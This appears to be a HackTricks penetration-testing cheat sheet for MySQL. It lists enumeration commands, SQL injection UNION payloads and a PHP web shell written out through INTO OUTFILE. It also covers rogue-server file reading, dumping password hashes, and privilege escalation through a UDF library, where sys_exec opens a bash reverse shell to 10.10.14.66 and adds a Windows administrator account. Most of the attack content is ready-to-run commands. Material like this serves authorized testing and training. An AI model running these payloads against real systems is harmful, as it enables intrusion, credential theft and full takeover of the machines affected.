3306 - Pentesting Mysql

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Basic Information

MySQL can be described as an open source Relational Database Management System (RDBMS) that is available at no cost. It operates on the Structured Query Language (SQL), enabling the management and manipulation of databases.

Default port: 3306

3306/tcp open mysql

Connect

Local

bash
mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone)

Remote

bash
mysql -h <Hostname> -u root mysql -h <Hostname> -u root@localhost

External Enumeration

Some of the enumeration actions require valid credentials

bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP> msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Write any binary data

bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL commands

bash
show databases; use <database>; connect <database>; show tables; describe <table_name>; show columns from <table>; select version(); #version select @@version(); #version select user(); #User select database(); #database name #Get a shell with the mysql client user \! sh #Basic MySQLi Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>" #Read & Write ## Yo need FILE privilege to read & write to files. select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit;
bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL Permissions Enumeration

sql
#Mysql SHOW GRANTS [FOR user]; SHOW GRANTS; SHOW GRANTS FOR 'root'@'localhost'; SHOW GRANTS FOR CURRENT_USER(); # Get users, permissions & hashes SELECT * FROM mysql.user; #From DB select * from mysql.user where user='root'; ## Get users with file_priv select user,file_priv from mysql.user where file_priv='Y'; ## Get users with Super_priv select user,Super_priv from mysql.user where Super_priv='Y'; # List functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

You can see in the docs the meaning of each privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

MySQL arbitrary read file by client

Actually, when you try to load data local into a table the content of a file the MySQL or MariaDB server asks the client to read it and send the content. Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.
Please notice that this is the behaviour using:

bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Notice the "local" word)
Because without the "local" you can get:

bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Initial PoC: https://github.com/allyshka/Rogue-MySql-Server
In this paper you can see a complete description of the attack and even how to extend it to RCE: https://paper.seebug.org/1113/
Here you can find an overview of the attack: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

POST

Mysql User

It will be very interesting if mysql is running as root:

bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Dangerous Settings of mysqld.cnf

In the configuration of MySQL services, various settings are employed to define its operation and security measures:

  • The user setting is utilized for designating the user under which the MySQL service will be executed.
  • password is applied for establishing the password associated with the MySQL user.
  • admin_address specifies the IP address that listens for TCP/IP connections on the administrative network interface.
  • The debug variable is indicative of the present debugging configurations, including sensitive information within logs.
  • sql_warnings manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
  • With secure_file_priv, the scope of data import and export operations is constrained to enhance security.

Privilege escalation

bash
# Get current user (an all users) privileges and hashes use mysql; select user(); select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user; # Get users, permissions & creds SELECT * FROM mysql.user; mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;" # Create user and give privileges create user test identified by 'test'; grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION; # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh

Privilege Escalation via library

If the mysql server is running as root (or a different more privileged user) you can make it execute commands. For that, you need to use user defined functions. And to create a user defined you will need a library for the OS that is running mysql.

The malicious library to use can be found inside sqlmap and inside metasploit by doing locate "*lib_mysqludf_sys*". The .so files are linux libraries and the .dll are the Windows ones, choose the one you need.

If you don't have those libraries, you can either look for them, or download this linux C code and compile it inside the linux vulnerable machine:

bash
gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the next steps:

Linux

sql
# Use a database use mysql; # Create a table to load the library and move it to the plugins dir create table npn(line blob); # Load the binary library inside the table ## You might need to change the path and file name insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); # Get the plugin_dir path show variables like '%plugin%'; # Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ # dump in there the library select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; # Create a function to execute commands create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; # Execute commands select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

sql
# CHech the linux comments for more indications USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll')); show variables like '%plugin%'; SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add");

Extracting MySQL credentials from files

Inside /etc/mysql/debian.cnf you can find the plain-text password of the user debian-sys-maint

bash
cat /etc/mysql/debian.cnf

You can use these credentials to login in the mysql database.

Inside the file: /var/lib/mysql/mysql/user.MYD you can find all the hashes of the MySQL users (the ones that you can extract from mysql.user inside the database).

You can extract them doing:

bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Enabling logging

You can enable logging of mysql queries inside /etc/mysql/my.cnf uncommenting the following lines:

Useful files

Configuration Files

  • windows *
    • config.ini
    • my.ini
      • windows\my.ini
      • winnt\my.ini
    • <InstDir>/mysql/data/
    • unix
      • my.cnf
        • /etc/my.cnf
        • /etc/mysql/my.cnf
        • /var/lib/mysql/my.cnf
        • ~/.my.cnf
        • /etc/my.cnf
  • Command History
    • ~/.mysql.history
  • Log Files
    • connections.log
    • update.log
    • common.log

Default MySQL Database/Tables

ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS

HackTricks Automatic Commands

Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. Protocol_Description: MySql #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). https://book.hacktricks.xyz/pentesting/pentesting-mysql Entry_2: Name: Nmap Description: Nmap with MySql Scripts Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 Entry_3: Name: MySql Description: Attempt to connect to mysql server Command: mysql -h {IP} -u {Username}@localhost Entry_4: Name: MySql consolesless mfs enumeration Description: MySql enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

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